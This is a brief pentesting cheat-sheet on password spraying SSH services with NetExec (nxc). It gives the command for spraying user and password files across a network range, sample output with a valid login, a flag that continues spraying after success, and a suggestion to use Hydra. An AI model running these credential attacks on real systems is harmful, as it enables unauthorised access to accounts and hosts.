Password spraying

Password spraying (without bruteforce)

nxc ssh <CIDR> -u userfile -p <PASSWORD>file --no-bruteforce

Expected Results:

SSH         127.0.0.1       22     127.0.0.1        [*] SSH-2.0-OpenSSH_8.2p1 Debian-4
SSH         127.0.0.1       22     127.0.0.1        [+] user:password

Info

By default nxc, will exit after a successful login is found. Using the --continue-on-success flag will continue spraying even after a valid password is found. Useful for spraying a single password against a large user list.

You can also use Hydra available by default on Kali to bruteforce SSH passwords, it's faster and better :)